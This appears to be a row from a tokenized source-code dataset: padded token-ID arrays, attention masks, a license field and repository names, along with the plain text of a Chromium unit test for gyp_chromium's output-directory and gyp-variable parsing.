4258,
272,
746,
9070,
421,
199,
318,
30306,
8,
1813,
63,
1391,
12,
574,
304,
523,
408,
9899,
314,
2589,
1750,
370,
283,
585,
13619,
625,
2193,
652,
1380,
283,
585,
7,
365,
488,
1041,
819,
340,
574,
365,
440,
488,
26,
272,
6160,
59,
1813,
63,
1391,
61,
275,
574,
523,
916,
2589,
63,
1391,
315,
6160,
26,
272,
2150,
6160,
59,
1813,
63,
1391,
61,
421,
199,
318,
2372,
5318,
8,
4173,
304,
523,
408,
16291,
9088,
63,
1813,
63,
1391,
63,
396,
63,
436,
2529,
2399,
1072,
1041,
819,
1249,
275,
359,
10761,
61,
523,
340,
3305,
365,
440,
488,
26,
272,
1249,
847,
359,
4173,
61,
523,
372,
9088,
63,
396,
63,
1208,
14,
22299,
8,
589,
12,
2589,
29,
2314,
680,
1199,
421,
199,
318,
1379,
5318,
8,
4173,
12,
511,
63,
637,
12,
849,
63,
637,
304,
523,
408,
21168,
626,
314,
1627,
3305,
365,
16955,
701,
314,
5226,
2589,
2729,
1041,
819,
2589,
63,
1391,
275,
283,
16151,
8650,
435,
3305,
14,
4142,
342,
523,
30306,
8,
1813,
63,
1391,
12,
511,
63,
637,
9,
523,
10716,
19706,
8,
396,
63,
637,
12,
2372,
5318,
8,
4173,
430,
523,
30306,
8,
1813,
63,
1391,
12,
488,
9,
523,
10716,
19706,
8,
885,
63,
637,
12,
2372,
5318,
8,
4173,
430,
421,
199,
533,
598,
774,
19342,
774,
8,
8385,
63,
396,
63,
1208,
14,
1746,
304,
523,
347,
511,
19342,
33,
5551,
83,
5318,
8,
277,
304,
272,
408,
2925,
626,
3734,
1750,
1077,
12787,
314,
5226,
3305,
1041,
339,
1379,
5318,
360,
4785,
63,
265,
63,
5328,
297,
283,
17,
297,
283,
16,
358,
272,
1379,
5318,
360,
2326,
297,
283,
5066,
297,
283,
2495,
358,
272,
1379,
5318,
360,
1541,
297,
283,
24676,
14,
5281,
297,
6438,
358,
272,
1379,
5318,
360,
1199,
297,
283,
1652,
26,
2791,
15,
1421,
14,
1652,
297,
4074,
272,
1379,
5318,
360,
1361,
63,
521,
297,
283,
16,
297,
283,
17,
358,
272,
1379,
5318,
360,
8755,
297,
283,
5637,
297,
283,
17,
358,
272,
1379,
5318,
360,
11964,
63,
265,
63,
5328,
297,
283,
17,
297,
283,
16,
358,
272,
1379,
5318,
360,
23727,
63,
396,
63,
2487,
297,
283,
2671,
3489,
297,
283,
7015,
358,
272,
1379,
5318,
360,
9341,
63,
3924,
297,
283,
16,
297,
283,
17,
358,
339,
340,
2281,
63,
26030,
26,
489,
1379,
5318,
360,
23727,
63,
396,
63,
1180,
63,
11796,
297,
283,
17,
297,
283,
16,
358,
489,
1379,
5318,
360,
2340,
63,
3446,
63,
4631,
297,
283,
16,
297,
283,
1960,
358,
421,
199,
692,
636,
354,
363,
508,
2560,
973,
3706,
523,
9088,
63,
396,
63,
1208,
14,
6756,
342,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
2647,
15,
1393,
15,
1813,
2366,
199,
3,
199,
3,
1898,
9079,
12,
4475,
3277,
14,
199,
3,
2900,
4481,
4644,
14,
199,
3,
199,
3,
10114,
436,
675,
315,
1350,
436,
3366,
4513,
12,
543,
503,
1928,
199,
3,
7100,
12,
787,
8211,
2741,
626,
314,
2569,
3704,
787,
199,
3,
7647,
26,
199,
3,
199,
3,
258,
627,
6823,
402,
1350,
1233,
1471,
8074,
314,
3432,
4248,
199,
3,
4245,
12,
642,
769,
402,
3704,
436,
314,
2569,
6450,
14,
199,
3,
258,
627,
6823,
315,
3366,
1824,
1471,
9172,
314,
3432,
199,
3,
4248,
4245,
12,
642,
769,
402,
3704,
436,
314,
2569,
6450,
199,
3,
315,
314,
3794,
436,
15,
269,
1163,
8418,
2741,
543,
314,
199,
3,
4084,
14,
199,
3,
258,
627,
11443,
314,
536,
402,
4475,
3277,
14,
6590,
314,
1561,
402,
2399,
199,
3,
8417,
1443,
506,
1202,
370,
10692,
503,
10016,
7585,
7131,
687,
199,
3,
642,
2032,
1928,
2488,
6791,
5313,
4983,
14,
199,
3,
199,
3,
5749,
4141,
2281,
7049,
6515,
2334,
5877,
8164,
2401,
6483,
199,
3,
298,
1179,
2281,
2,
2401,
1821,
7168,
1549,
5292,
2990,
12,
6931,
12,
5400,
2845,
199,
3,
5471,
2296,
12,
2334,
5292,
2990,
1634,
3169,
2401,
3092,
2381,
199,
3,
437,
3115,
3104,
9315,
9706,
14,
1621,
4825,
6461,
7000,
2334,
5877,
199,
3,
11489,
1549,
6483,
6262,
7024,
2381,
1821,
8703,
12,
9168,
12,
9716,
12,
199,
3,
8820,
12,
9836,
12,
1549,
9110,
6736,
334,
6446,
12,
5400,
2845,
199,
3,
5471,
2296,
12,
9838,
1634,
9103,
9764,
1549,
9714,
27,
9102,
1634,
4815,
12,
199,
3,
7126,
12,
1549,
9206,
27,
1549,
9748,
9831,
9,
9802,
9817,
2401,
5258,
1821,
199,
3,
9815,
1634,
5603,
12,
7061,
1621,
7066,
12,
9644,
5603,
12,
1549,
7056,
199,
3,
334,
6446,
9254,
1549,
7334,
9,
7043,
1621,
1821,
9683,
5738,
1634,
2334,
4815,
199,
3,
1634,
5749,
4141,
12,
9704,
8036,
9691,
1634,
2334,
9726,
1634,
9712,
9784,
14,
199,
199,
624,
21168,
626,
4475,
1379,
6657,
19953,
3734,
2860,
1041,
199,
199,
363,
2502,
363,
275,
283,
20444,
32,
3098,
14,
957,
334,
12674,
1629,
951,
644,
290,
3171,
199,
199,
646,
747,
199,
646,
9088,
63,
396,
63,
1208,
421,
199,
1311,
63,
20509,
275,
747,
14,
354,
508,
283,
343,
7,
199,
1311,
63,
26030,
275,
747,
14,
354,
508,
283,
9228,
7,
436,
747,
14,
16040,
3430,
16,
61,
508,
283,
14091,
7,
199,
199,
10761,
275,
9088,
63,
396,
63,
1208,
14,
28967,
27602,
360,
8385,
63,
1813,
63,
1391,
63,
396,
15452,
199,
199,
2314,
275,
747,
14,
2314,
14,
1574,
342,
421,
199,
318,
10716,
19706,
8,
2062,
12,
3503,
304,
523,
340,
1420,
1137,
3503,
26,
272,
870,
283,
6964,
26,
450,
83,
7,
450,
334,
2062,
4258,
272,
870,
283,
221,
18982,
1061,
26,
450,
83,
7,
450,
334,
6514,
4258,
272,
746,
9070,
421,
199,
318,
30306,
8,
1813,
63,
1391,
12,
574,
304,
523,
408,
9899,
314,
2589,
1750,
370,
283,
585,
13619,
625,
2193,
652,
1380,
283,
585,
7,
365,
488,
1041,
819,
340,
574,
365,
440,
488,
26,
272,
6160,
59,
1813,
63,
1391,
61,
275,
574,
523,
916,
2589,
63,
1391,
315,
6160,
26,
272,
2150,
6160,
59,
1813,
63,
1391,
61,
421,
199,
318,
2372,
5318,
8,
4173,
304,
523,
408,
16291,
9088,
63,
1813,
63,
1391,
63,
396,
63,
436,
2529,
2399,
1072,
1041,
819,
1249,
275,
359,
10761,
61,
523,
340,
3305,
365,
440,
488,
26,
272,
1249,
847,
359,
4173,
61,
523,
372,
9088,
63,
396,
63,
1208,
14,
22299,
8,
589,
12,
2589,
29,
2314,
680,
1199,
421,
199,
318,
1379,
5318,
8,
4173,
12,
511,
63,
637,
12,
849,
63,
637,
304,
523,
408,
21168,
626,
314,
1627,
3305,
365,
16955,
701,
314,
5226,
2589,
2729,
1041,
819,
2589,
63,
1391,
275,
283,
16151,
8650,
435,
3305,
14,
4142,
342,
523,
30306,
8,
1813,
63,
1391,
12,
511,
63,
637,
9,
523,
10716,
19706,
8,
396,
63,
637,
12,
2372,
5318,
8,
4173,
430,
523,
30306,
8,
1813,
63,
1391,
12,
488,
9,
523,
10716,
19706,
8,
885,
63,
637,
12,
2372,
5318,
8,
4173,
430,
421,
199,
533,
598,
774,
19342,
774,
8,
8385,
63,
396,
63,
1208,
14,
1746,
304,
523,
347,
511,
19342,
33,
5551,
83,
5318,
8,
277,
304,
272,
408,
2925,
626,
3734,
1750,
1077,
12787,
314,
5226,
3305,
1041,
339,
1379,
5318,
360,
4785,
63,
265,
63,
5328,
297,
283,
17,
297,
283,
16,
358,
272,
1379,
5318,
360,
2326,
297,
283,
5066,
297,
283,
2495,
358,
272,
1379,
5318,
360,
1541,
297,
283,
24676,
14,
5281,
297,
6438,
358,
272,
1379,
5318,
360,
1199,
297,
283,
1652,
26,
2791,
15,
1421,
14,
1652,
297,
4074,
272,
1379,
5318,
360,
1361,
63,
521,
297,
283,
16,
297,
283,
17,
358,
272,
1379,
5318,
360,
8755,
297,
283,
5637,
297,
283,
17,
358,
272,
1379,
5318,
360,
11964,
63,
265,
63,
5328,
297,
283,
17,
297,
283,
16,
358,
272,
1379,
5318,
360,
23727,
63,
396,
63,
2487,
297,
283,
2671,
3489,
297,
283,
7015,
358,
272,
1379,
5318,
360,
9341,
63,
3924,
297,
283,
16,
297,
283,
17,
358,
339,
340,
2281,
63,
26030,
26,
489,
1379,
5318,
360,
23727,
63,
396,
63,
1180,
63,
11796,
297,
283,
17,
297,
283,
16,
358,
489,
1379,
5318,
360,
2340,
63,
3446,
63,
4631,
297,
283,
16,
297,
283,
1960,
358,
421,
199,
692,
636,
354,
363,
508,
2560,
973,
3706,
523,
9088,
63,
396,
63,
1208,
14,
6756,
342,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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env python
# Copyright 2015 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import os
import sys
import unittest
SCRIPT_DIR = os.path.abspath(os.path.dirname(__file__))
SRC_DIR = os.path.dirname(SCRIPT_DIR)
sys.path.append(os.path.join(SRC_DIR, 'third_party', 'pymock'))
import mock
import gyp_chromium
class TestGetOutputDirectory(unittest.TestCase):
@mock.patch('os.environ', {})
@mock.patch('sys.argv', [__file__])
def testDefaultValue(self):
self.assertEqual(gyp_chromium.GetOutputDirectory(), 'out')
@mock.patch('os.environ', {'GYP_GENERATOR_FLAGS': 'output_dir=envfoo'})
@mock.patch('sys.argv', [__file__])
def testEnvironment(self):
self.assertEqual(gyp_chromium.GetOutputDirectory(), 'envfoo')
@mock.patch('os.environ', {'GYP_GENERATOR_FLAGS': 'output_dir=envfoo'})
@mock.patch('sys.argv', [__file__, '-Goutput_dir=cmdfoo'])
def testGFlagOverridesEnv(self):
self.assertEqual(gyp_chromium.GetOutputDirectory(), 'cmdfoo')
@mock.patch('os.environ', {})
@mock.patch('sys.argv', [__file__, '-G', 'output_dir=foo'])
def testGFlagWithSpace(self):
self.assertEqual(gyp_chromium.GetOutputDirectory(), 'foo')
class TestGetGypVars(unittest.TestCase):
@mock.patch('os.environ', {})
def testDefault(self):
self.assertEqual(gyp_chromium.GetGypVars([]), {})
@mock.patch('os.environ', {})
@mock.patch('sys.argv', [__file__, '-D', 'foo=bar'])
def testDFlags(self):
self.assertEqual(gyp_chromium.GetGypVars([]), {'foo': 'bar'})
@mock.patch('os.environ', {})
@mock.patch('sys.argv', [__file__, '-D', 'foo'])
def testDFlagsNoValue(self):
self.assertEqual(gyp_chromium.GetGypVars([]), {'foo': '1'})
@mock.patch('os.environ', {})
@mock.patch('sys.argv', [__file__, '-D', 'foo=bar', '-Dbaz'])
def testDFlagMulti(self):
self.assertEqual(gyp_chromium.GetGypVars([]), {'foo': 'bar', 'baz': '1'})
if __name__ == '__main__':
unittest.main()
|
bsd-3-clause
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
199,
3,
1898,
6900,
710,
12051,
6642,
14,
2900,
4481,
4644,
14,
199,
3,
3645,
402,
642,
1350,
1233,
365,
10413,
701,
282,
6289,
13,
2487,
4190,
626,
883,
506,
199,
3,
1911,
315,
314,
5113,
570,
14,
199,
199,
646,
747,
199,
646,
984,
199,
646,
2882,
199,
199,
10484,
63,
3022,
275,
747,
14,
515,
14,
4832,
8,
736,
14,
515,
14,
3475,
3460,
493,
8964,
199,
12447,
63,
3022,
275,
747,
14,
515,
14,
3475,
8,
10484,
63,
3022,
9,
199,
199,
1274,
14,
515,
14,
740,
8,
736,
14,
515,
14,
904,
8,
12447,
63,
3022,
12,
283,
11470,
63,
7522,
297,
283,
647,
1805,
1333,
199,
199,
646,
1683,
199,
199,
646,
4902,
63,
13211,
421,
199,
533,
1379,
18614,
6231,
8,
2796,
14,
1746,
304,
523,
768,
1805,
14,
2068,
360,
736,
14,
2314,
297,
5009,
523,
768,
1805,
14,
2068,
360,
1274,
14,
3020,
297,
359,
363,
493,
363,
566,
523,
347,
511,
2698,
1110,
8,
277,
304,
272,
291,
14,
629,
8,
6179,
63,
13211,
14,
18614,
6231,
1062,
283,
548,
358,
819,
768,
1805,
14,
2068,
360,
736,
14,
2314,
297,
791,
14884,
63,
12795,
6467,
63,
4831,
356,
283,
1199,
63,
694,
29,
1813,
1421,
3071,
523,
768,
1805,
14,
2068,
360,
1274,
14,
3020,
297,
359,
363,
493,
363,
566,
523,
347,
511,
8263,
8,
277,
304,
272,
291,
14,
629,
8,
6179,
63,
13211,
14,
18614,
6231,
1062,
283,
1813,
1421,
358,
819,
768,
1805,
14,
2068,
360,
736,
14,
2314,
297,
791,
14884,
63,
12795,
6467,
63,
4831,
356,
283,
1199,
63,
694,
29,
1813,
1421,
3071,
523,
768,
1805,
14,
2068,
360,
1274,
14,
3020,
297,
359,
363,
493,
3108,
2475,
39,
1199,
63,
694,
29,
1760,
1421,
1105,
523,
347,
511,
39,
5318,
27586,
7744,
8,
277,
304,
272,
291,
14,
629,
8,
6179,
63,
13211,
14,
18614,
6231,
1062,
283,
1760,
1421,
358,
819,
768,
1805,
14,
2068,
360,
736,
14,
2314,
297,
5009,
523,
768,
1805,
14,
2068,
360,
1274,
14,
3020,
297,
359,
363,
493,
3108,
2475,
39,
297,
283,
1199,
63,
694,
29,
1421,
1105,
523,
347,
511,
39,
5318,
3007,
7643,
8,
277,
304,
272,
291,
14,
629,
8,
6179,
63,
13211,
14,
18614,
6231,
1062,
283,
1421,
358,
421,
199,
533,
1379,
1002,
13899,
16270,
8,
2796,
14,
1746,
304,
523,
768,
1805,
14,
2068,
360,
736,
14,
2314,
297,
5009,
523,
347,
511,
2698,
8,
277,
304,
272,
291,
14,
629,
8,
6179,
63,
13211,
14,
1002,
13899,
16270,
25550,
5009,
819,
768,
1805,
14,
2068,
360,
736,
14,
2314,
297,
5009,
523,
768,
1805,
14,
2068,
360,
1274,
14,
3020,
297,
359,
363,
493,
3108,
2475,
36,
297,
283,
1421,
29,
1700,
1105,
523,
347,
511,
3888,
1550,
8,
277,
304,
272,
291,
14,
629,
8,
6179,
63,
13211,
14,
1002,
13899,
16270,
25550,
791,
1421,
356,
283,
1700,
3071,
819,
768,
1805,
14,
2068,
360,
736,
14,
2314,
297,
5009,
523,
768,
1805,
14,
2068,
360,
1274,
14,
3020,
297,
359,
363,
493,
3108,
2475,
36,
297,
283,
1421,
1105,
523,
347,
511,
3888,
1550,
1944,
1110,
8,
277,
304,
272,
291,
14,
629,
8,
6179,
63,
13211,
14,
1002,
13899,
16270,
25550,
791,
1421,
356,
283,
17,
3071,
819,
768,
1805,
14,
2068,
360,
736,
14,
2314,
297,
5009,
523,
768,
1805,
14,
2068,
360,
1274,
14,
3020,
297,
359,
363,
493,
3108,
2475,
36,
297,
283,
1421,
29,
1700,
297,
2475,
36,
6185,
1105,
523,
347,
511,
3888,
1823,
3947,
8,
277,
304,
272,
291,
14,
629,
8,
6179,
63,
13211,
14,
1002,
13899,
16270,
25550,
791,
1421,
356,
283,
1700,
297,
283,
6185,
356,
283,
17,
3071,
421,
199,
692,
636,
354,
363,
508,
2560,
973,
3706,
523,
2882,
14,
973,
342,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
2647,
15,
1393,
15,
1813,
2366,
199,
3,
1898,
6900,
710,
12051,
6642,
14,
2900,
4481,
4644,
14,
199,
3,
3645,
402,
642,
1350,
1233,
365,
10413,
701,
282,
6289,
13,
2487,
4190,
626,
883,
506,
199,
3,
1911,
315,
314,
5113,
570,
14,
199,
199,
646,
747,
199,
646,
984,
199,
646,
2882,
199,
199,
10484,
63,
3022,
275,
747,
14,
515,
14,
4832,
8,
736,
14,
515,
14,
3475,
3460,
493,
8964,
199,
12447,
63,
3022,
275,
747,
14,
515,
14,
3475,
8,
10484,
63,
3022,
9,
199,
199,
1274,
14,
515,
14,
740,
8,
736,
14,
515,
14,
904,
8,
12447,
63,
3022,
12,
283,
11470,
63,
7522,
297,
283,
647,
1805,
1333,
199,
199,
646,
1683,
199,
199,
646,
4902,
63,
13211,
421,
199,
533,
1379,
18614,
6231,
8,
2796,
14,
1746,
304,
523,
768,
1805,
14,
2068,
360,
736,
14,
2314,
297,
5009,
523,
768,
1805,
14,
2068,
360,
1274,
14,
3020,
297,
359,
363,
493,
363,
566,
523,
347,
511,
2698,
1110,
8,
277,
304,
272,
291,
14,
629,
8,
6179,
63,
13211,
14,
18614,
6231,
1062,
283,
548,
358,
819,
768,
1805,
14,
2068,
360,
736,
14,
2314,
297,
791,
14884,
63,
12795,
6467,
63,
4831,
356,
283,
1199,
63,
694,
29,
1813,
1421,
3071,
523,
768,
1805,
14,
2068,
360,
1274,
14,
3020,
297,
359,
363,
493,
363,
566,
523,
347,
511,
8263,
8,
277,
304,
272,
291,
14,
629,
8,
6179,
63,
13211,
14,
18614,
6231,
1062,
283,
1813,
1421,
358,
819,
768,
1805,
14,
2068,
360,
736,
14,
2314,
297,
791,
14884,
63,
12795,
6467,
63,
4831,
356,
283,
1199,
63,
694,
29,
1813,
1421,
3071,
523,
768,
1805,
14,
2068,
360,
1274,
14,
3020,
297,
359,
363,
493,
3108,
2475,
39,
1199,
63,
694,
29,
1760,
1421,
1105,
523,
347,
511,
39,
5318,
27586,
7744,
8,
277,
304,
272,
291,
14,
629,
8,
6179,
63,
13211,
14,
18614,
6231,
1062,
283,
1760,
1421,
358,
819,
768,
1805,
14,
2068,
360,
736,
14,
2314,
297,
5009,
523,
768,
1805,
14,
2068,
360,
1274,
14,
3020,
297,
359,
363,
493,
3108,
2475,
39,
297,
283,
1199,
63,
694,
29,
1421,
1105,
523,
347,
511,
39,
5318,
3007,
7643,
8,
277,
304,
272,
291,
14,
629,
8,
6179,
63,
13211,
14,
18614,
6231,
1062,
283,
1421,
358,
421,
199,
533,
1379,
1002,
13899,
16270,
8,
2796,
14,
1746,
304,
523,
768,
1805,
14,
2068,
360,
736,
14,
2314,
297,
5009,
523,
347,
511,
2698,
8,
277,
304,
272,
291,
14,
629,
8,
6179,
63,
13211,
14,
1002,
13899,
16270,
25550,
5009,
819,
768,
1805,
14,
2068,
360,
736,
14,
2314,
297,
5009,
523,
768,
1805,
14,
2068,
360,
1274,
14,
3020,
297,
359,
363,
493,
3108,
2475,
36,
297,
283,
1421,
29,
1700,
1105,
523,
347,
511,
3888,
1550,
8,
277,
304,
272,
291,
14,
629,
8,
6179,
63,
13211,
14,
1002,
13899,
16270,
25550,
791,
1421,
356,
283,
1700,
3071,
819,
768,
1805,
14,
2068,
360,
736,
14,
2314,
297,
5009,
523,
768,
1805,
14,
2068,
360,
1274,
14,
3020,
297,
359,
363,
493,
3108,
2475,
36,
297,
283,
1421,
1105,
523,
347,
511,
3888,
1550,
1944,
1110,
8,
277,
304,
272,
291,
14,
629,
8,
6179,
63,
13211,
14,
1002,
13899,
16270,
25550,
791,
1421,
356,
283,
17,
3071,
819,
768,
1805,
14,
2068,
360,
736,
14,
2314,
297,
5009,
523,
768,
1805,
14,
2068,
360,
1274,
14,
3020,
297,
359,
363,
493,
3108,
2475,
36,
297,
283,
1421,
29,
1700,
297,
2475,
36,
6185,
1105,
523,
347,
511,
3888,
1823,
3947,
8,
277,
304,
272,
291,
14,
629,
8,
6179,
63,
13211,
14,
1002,
13899,
16270,
25550,
791,
1421,
356,
283,
1700,
297,
283,
6185,
356,
283,
17,
3071,
421,
199,
692,
636,
354,
363,
508,
2560,
973,
3706,
523,
2882,
14,
973,
342,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
dermoth/gramps
|
